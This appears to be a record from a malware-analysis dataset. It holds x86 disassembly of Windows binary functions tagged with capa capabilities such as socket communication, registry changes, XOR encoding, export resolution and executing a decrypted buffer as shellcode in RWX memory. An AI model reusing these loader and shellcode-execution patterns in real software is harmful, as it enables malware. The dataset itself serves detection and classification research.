joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x28a5008], 0x8088405
inc edx
mov dword [ebx + 0x28a5008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41d330
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41d361
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d349
add dl, dl
jne 0x41d36c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d3bd
xor eax, eax
add dl, dl
jne 0x41d379
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d45a
add dl, dl
jne 0x41d388
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d393
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d39e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d3a9
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41d3b3
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41d358
mov eax, 1
add dl, dl
jne 0x41d3cb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41d3d6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3c2
sub eax, ebx
mov ebx, 1
jne 0x41d409
mov ecx, 1
add dl, dl
jne 0x41d3ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d3fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d3e6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d358
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d420
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d42b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d417
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41d358
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d47b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41d358
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f5a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x2888a8e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f5ef
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f60e
mov ecx, edx
add ecx, ebx
jmp 0x41f60e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f60e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f680
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f669
test esi, esi
jbe 0x41f680
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088f4
test eax, eax
jne 0x41f65b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f680
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f638
jmp 0x41f680
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f680
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2888a95
ret
Function at 0x4207ec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x2889e07
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x420827
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x420840
lea eax, [ebp - 0x10]
mov edx, dword [0x28a777c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00404d30
jmp 0x420853
lea eax, [ebp - 0x10]
mov edx, dword [0x28a777c]
mov edx, dword [edx]
mov edx, dword [edx + 0x18]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x42085f
adc edx, 0
mov edx, dword [edx*4 + 0x28a6568]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x4209d9
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4209cc
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406dec
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4209cc
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x42096a
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x42096a
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x42096a
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x42096a
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x4209cc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4209cc
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4209cc
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d8c
test eax, eax
je 0x4209cc
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4209cc
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x4209f1
inc ebx
cmp ebx, 0x19
jne 0x420819
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2889e0e
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401740
Capabilities:
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x402ffb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll_time]
push 0
call edi
push eax
call dword [sym.imp.MSVCRT.dll_srand]
push 0x138580
call sub.MFC42u.DLL_operatornew
add esp, 0xc
mov dword [esp + 0xc], eax
test eax, eax
mov dword [esp + 0x38], 0
je 0x401793
mov ecx, eax
call fcn.00402310
mov esi, eax
jmp 0x401795
xor esi, esi
lea eax, [esp + 0x24]
push 0xa
push eax
mov dword [esp + 0x40], 0xffffffff
call fcn.004016e0
add esp, 8
mov ecx, esi
call fcn.004023c0
test eax, eax
je 0x401830
push 0
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push ecx
call dword [sym.imp.MSVCRT.dll_localtime]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax + 8]
push ecx
push edx
lea eax, [esp + 0x2c]
push str._02d:_02d:_02d
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea ecx, [esp + 0x10]
lea edx, [esp + 8]
mov byte [esp + 8], 0x33
push 3
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x22], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x18]
push 9
push eax
mov ecx, esi
call fcn.00402620
mov edx, dword [esi + 8]
push 0
lea ecx, [esp + 0x28]
push 0xa
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esi + 0x9c2d0]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x40184e
push 0x64
call edi
mov eax, dword [esi + 0x9c2d0]
test eax, eax
je 0x401840
push 0xffffffffffffffff
call edi
push 0x186a0
call edi
pop edi
mov eax, 1
mov ecx, dword [esp + 0x2c]
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x10

Function at 0x402210
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.KERNEL32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40226d
push str.CreateEventA
push edi
call esi
push str.ResetEvent
push edi
mov dword [0x407700], eax
call esi
push str.WaitForSingleObject
push edi
mov dword [0x4076fc], eax
call esi
push str.CreateThread
push edi
mov dword [0x4076f8], eax
call esi
push str.VirtualAlloc
push edi
mov dword [0x4076f4], eax
call esi
mov dword [0x4076f0], eax
push str.Ws2_32.dll
call ebx
mov edi, eax
test edi, edi
je 0x4022d5
push str.WSAStartup
push edi
call esi
push str.WSACleanup
push edi
mov dword [0x4076e8], eax
call esi
push str.socket
push edi
mov dword [0x4076e4], eax
call esi
push str.closesocket
push edi
mov dword [0x4076e0], eax
call esi
push str.connect
push edi
mov dword [0x4076dc], eax
call esi
push str.recv
push edi
mov dword [0x4076d8], eax
call esi
push str.gethostbyname
push edi
mov dword [0x4076d4], eax
call esi
mov dword [0x4076ec], eax
push str.msvcrt.dll
call ebx
test eax, eax
je 0x4022ed
push str.memcpy
push eax
call esi
mov dword [0x4076d0], eax
push str.USER32.dll
call ebx
test eax, eax
je 0x402305
push str.send
push eax
call esi
mov dword [0x4076cc], eax
pop edi
pop esi
pop ebx
ret
Function at 0x4023c0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x120
lea eax, [esp + 0x20]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push 0xff
push eax
push 0xffffffffffffffff
push 0x406296
push 0
mov esi, ecx
push 0
call edi
push 0x406296
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
lea ecx, [esp + 0x10]
push 0x1e
push ecx
push 0xffffffffffffffff
push str.14992
push 0
push 0
call edi
lea edx, [esp + 8]
lea eax, [esp + 0x28]
push edx
push eax
mov ecx, esi
call fcn.00402430
pop edi
pop esi
add esp, 0x120
ret

Function at 0x4025b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
mov eax, dword [0x407518]
push esi
push edi
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4025ce
pop edi
pop esi
pop ecx
ret
mov ecx, dword [0x407518]
add edi, 0x9c2d4
push ecx
push edi
push esi
call fcn.004021e0
mov eax, dword [0x407518]
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x40
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push esi
push esi
push 0
push 0
call dword [0x4076f4]
pop edi
mov eax, 1
pop esi
pop ecx
ret
Function at 0x401c06
Capabilities:
Set registry value

Disassembly:
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx - 0xc]
lea eax, [ecx - 0x10]
sub eax, 0x428668
neg eax
push edx
sbb eax, eax
and eax, ecx
push eax
push 1
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0xc]
call fcn.0040107f
ret 0xc

Function at 0x40707a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427094]
jne 0x407084
repz ret
jmp fcn.0040f4a8

Function at 0x411a86
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004078f6
and dword [ebp - 4], 0
cmp dword [0x4290e4], 0
mov ebx, eax
jne 0x411b37
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x411be8
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x421048
push edi
call esi
test eax, eax
je 0x411be8
push eax
call fcn.00407884
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4290e4], eax
call esi
push eax
call fcn.00407884
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4290e8], eax
call esi
push eax
call fcn.00407884
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4290ec], eax
call esi
push eax
call fcn.00407884
pop ecx
mov dword [0x4290f4], eax
test eax, eax
je 0x411b37
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407884
pop ecx
mov dword [0x4290f0], eax
mov eax, dword [0x4290f0]
cmp eax, ebx
je 0x411b8f
cmp dword [0x4290f4], ebx
je 0x411b8f
push eax
call fcn.004078ff
push dword [0x4290f4]
mov esi, eax
call fcn.004078ff
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x411b8f
test edi, edi
je 0x411b8f
call esi
test eax, eax
je 0x411b86
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x411b86
test byte [ebp - 0xc], 1
jne 0x411b8f
or dword [ebp + 0x10], 0x200000
jmp 0x411bc8
mov eax, dword [0x4290e8]
cmp eax, ebx
je 0x411bc8
push eax
call fcn.004078ff
pop ecx
test eax, eax
je 0x411bc8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x411bc8
mov eax, dword [0x4290ec]
cmp eax, ebx
je 0x411bc8
push eax
call fcn.004078ff
pop ecx
test eax, eax
je 0x411bc8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4290e4]
call fcn.004078ff
pop ecx
test eax, eax
je 0x411be8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x411bea
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41668b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [esi + 4]
push eax
push 0
push 0x42ddd0
push 0x4165fb
push 0
push 0
mov dword [0x42ddd0], 0x41cf91
mov dword [0x42ddd4], 0x429c38
call fcn.00406e19
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x4166e3
lea eax, [ebp - 4]
push str.Engine::CThread::Create_...__:_FAILED
push eax
call fcn.0041c36b
pop ecx
pop ecx
push 0x424c04
lea eax, [ebp - 4]
push eax
call fcn.00407632
leave
ret
Function at 0x416df1
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [esp + 4]
xor edx, edx
cmp dword [ecx - 0xc], edx
je 0x416e1b
lea eax, [ecx - 0x10]
sub eax, 0x428668
push 1
neg eax
push edx
sbb eax, eax
push edx
and eax, ecx
push eax
push str.Open
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 4]
call fcn.0040107f
ret 4

Function at 0x416e27
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [esp + 4]
lea eax, [ecx - 0x10]
sub eax, 0x428668
neg eax
sbb eax, eax
push 1
and eax, ecx
xor ecx, ecx
push ecx
push ecx
push eax
push 0x422a38
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [esp + 4]
call fcn.0040107f
ret 4

Function at 0x417a4d
Capabilities:
Set registry value

Disassembly:
mov eax, 0x41dd03
call fcn.0041d980
sub esp, 0x1c
push ebx
push esi
lea eax, [ebp - 0x18]
push eax
call fcn.0041721b
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ecx, dword [ebp - 0x18]
lea eax, [ecx - 0x10]
mov esi, 0x428668
sub eax, esi
push ebx
neg eax
sbb eax, eax
and eax, ecx
lea ecx, [ebp - 0x14]
push ecx
push ebx
push 0x20006
push ebx
push ebx
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x417b68
push edi
mov edi, 0x4228f4
lea eax, [ebp - 0x28]
call fcn.00401828
mov dword [ebp - 0x1c], eax
mov edi, 0x4228f0
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 1
call fcn.00401828
push 0x429770
lea ecx, [ebp - 0x20]
push ecx
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.00401d8a
mov byte [ebp - 4], 3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, eax
call fcn.00401d8a
lea eax, [ebp - 0x20]
call fcn.0040107f
lea eax, [ebp - 0x24]
call fcn.0040107f
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
call fcn.0040107f
mov edi, 0x4228f8
lea eax, [ebp - 0x1c]
call fcn.00401828
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 4], 8
call fcn.00401d70
lea eax, [ebp - 0x1c]
call fcn.0040107f
mov ecx, dword [ebp - 0x10]
mov edi, dword [ecx - 0xc]
mov edx, dword [0x429848]
lea eax, [ecx - 0x10]
sub eax, esi
neg eax
sbb eax, eax
and eax, ecx
push edi
lea ecx, [edx - 0x10]
sub ecx, esi
push eax
neg ecx
push 1
sbb ecx, ecx
push ebx
and ecx, edx
push ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x10]
call fcn.0040107f
pop edi
lea eax, [ebp - 0x18]
call fcn.0040107f
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x417b7e
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
call fcn.0041721b
mov ecx, dword [ebp - 8]
lea eax, [ecx - 0x10]
mov esi, 0x428668
sub eax, esi
neg eax
sbb eax, eax
and eax, ecx
xor ecx, ecx
push ecx
lea edx, [ebp - 4]
push edx
push ecx
push 0xf003f
push ecx
push ecx
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x417be4
mov ecx, dword [0x429848]
lea eax, [ecx - 0x10]
sub eax, esi
neg eax
sbb eax, eax
and eax, ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 8]
call fcn.0040107f
pop esi
leave
ret
Function at 0x41999c
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0xc]
push dword [esp + 0xc]
push dword [eax]
call sub.WS2_32.dll_send
ret 8

Function at 0x4199c5
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push 0x50
mov word [ebp - 0x10], ax
call sub.WS2_32.dll_htons
push dword [ebp + 0xc]
mov word [ebp - 0xe], ax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
pop edi
cmp eax, 0xffffffff
jne 0x419a12
push dword [ebp + 0xc]
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x419a08
xor al, al
jmp 0x419a2b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push dword [eax]
call sub.WS2_32.dll_connect
xor ecx, ecx
test eax, eax
setge cl
mov al, cl
leave
ret 8

Function at 0x419a3f
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov ecx, dword [esp + 4]
mov dword [ecx], eax
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret 4

Function at 0x419c96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push edi
mov edi, dword [ebp + 8]
call fcn.004012e4
jmp 0x419ce0
push edi
lea eax, [ebp - 0x44]
push 0xa
push eax
call fcn.004066c0
add esp, 0xc
mov ebx, eax
push 0
test ebx, ebx
jne 0x419cfd
push edi
lea eax, [ebp - 0x44]
push eax
push dword [esi]
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x419cf5
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
mov byte [ebp + edi - 0x44], bl
call fcn.00402aab
push 2
push 0x40
lea eax, [ebp - 0x44]
push eax
push dword [esi]
call sub.WS2_32.dll_recv
mov edi, eax
test edi, edi
jg 0x419ca8
xor al, al
pop edi
pop ebx
leave
ret 4
lea ecx, [ebp - 0x44]
mov eax, ebx
sub eax, ecx
inc eax
push eax
mov eax, ecx
push eax
push dword [esi]
call sub.WS2_32.dll_recv
cmp eax, 0xffffffff
je 0x419cf5
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
mov byte [ebx + 1], 0
call fcn.00402aab
mov al, 1
jmp 0x419cf7

Function at 0x41a267
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
mov al, dl
sub al, 0x27
mov cl, 0x6f
mov byte [ebp - 1], 0xad
test edx, edx
je 0x41a295
push ebx
add al, byte [ebp - 1]
dec edx
add byte [ebp - 1], al
mov bl, byte [ebp - 1]
add bl, cl
xor bl, al
mov cl, bl
xor byte [esi], cl
inc esi
test edx, edx
jne 0x41a27d
pop ebx
pop esi
leave
ret
Function at 0x41a7d6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0xa
push 0x67
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [esi + 0x10], eax
test eax, eax
jne 0x41a7ff
push 0x67
push str.CResourceFile::FindResource_...__:_FAILED_:_Cant_find_resource_by_ID___d
call fcn.00419922
call fcn.00419754
pop ecx
pop ecx
xor al, al
ret
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [esi + 0x14], eax
test eax, eax
jne 0x41a818
push 0x67
push str.CResourceFile::LoadResource_...__:_FAILED_:_Cant_load_resource_by_ID___d
jmp 0x41a7f0
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [esi + 4], eax
test eax, eax
jne 0x41a82f
push 0x67
push str.CResourceFile::LockResource_...__:_FAILED_:_Cant_lock_resource_by_ID___d
jmp 0x41a7f0
push dword [esi + 0x10]
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
and dword [esi + 8], 0
mov dword [esi + 0xc], eax
mov al, 1
ret

Function at 0x41aaf2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
mov cl, 0xd3
mov byte [ebp - 1], 0x4f
mov dl, 0x89
je 0x41ab2c
push ebx
add dl, byte [ebp - 1]
dec dword [ebp + 8]
mov byte [ebp - 2], dl
mov dl, byte [ebp - 1]
add dl, byte [ebp - 2]
mov bl, dl
add bl, cl
mov byte [ebp - 1], dl
mov dl, byte [ebp - 2]
xor bl, dl
mov cl, bl
xor byte [eax], cl
inc eax
cmp dword [ebp + 8], 0
jne 0x41ab05
pop ebx
leave
ret 4

Function at 0x41c3bf
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x41db84
call fcn.0041d980
sub esp, 0x10
push esi
push edi
mov edi, str.SoftwareFenomen_GamesGame_Downloader1.1Completed
lea eax, [ebp - 0x18]
call fcn.00401828
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [0x4285cc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 2
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push 0x423870
call fcn.00401d36
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push 0x423874
call fcn.00401d36
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
call fcn.00401d70
mov ecx, dword [ebp - 0x18]
lea eax, [ecx - 0x10]
mov edi, 0x428668
sub eax, edi
neg eax
sbb eax, eax
and eax, ecx
lea ecx, [ebp - 0x1c]
push ecx
push 0x20019
push esi
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41c494
push ebx
mov eax, 0x1ff
push eax
push esi
mov ebx, 0x42ddd8
push ebx
mov dword [ebp + 8], eax
call fcn.00407710
mov ecx, dword [ebp - 0x10]
add esp, 0xc
lea eax, [ecx - 0x10]
sub eax, edi
neg eax
sbb eax, eax
and eax, ecx
lea ecx, [ebp + 8]
push ecx
push ebx
push esi
push esi
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x1c]
mov esi, eax
neg esi
sbb esi, esi
inc esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
lea eax, [ebp - 0x10]
call fcn.0040107f
lea eax, [ebp - 0x14]
call fcn.0040107f
lea eax, [ebp - 0x18]
call fcn.0040107f
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 8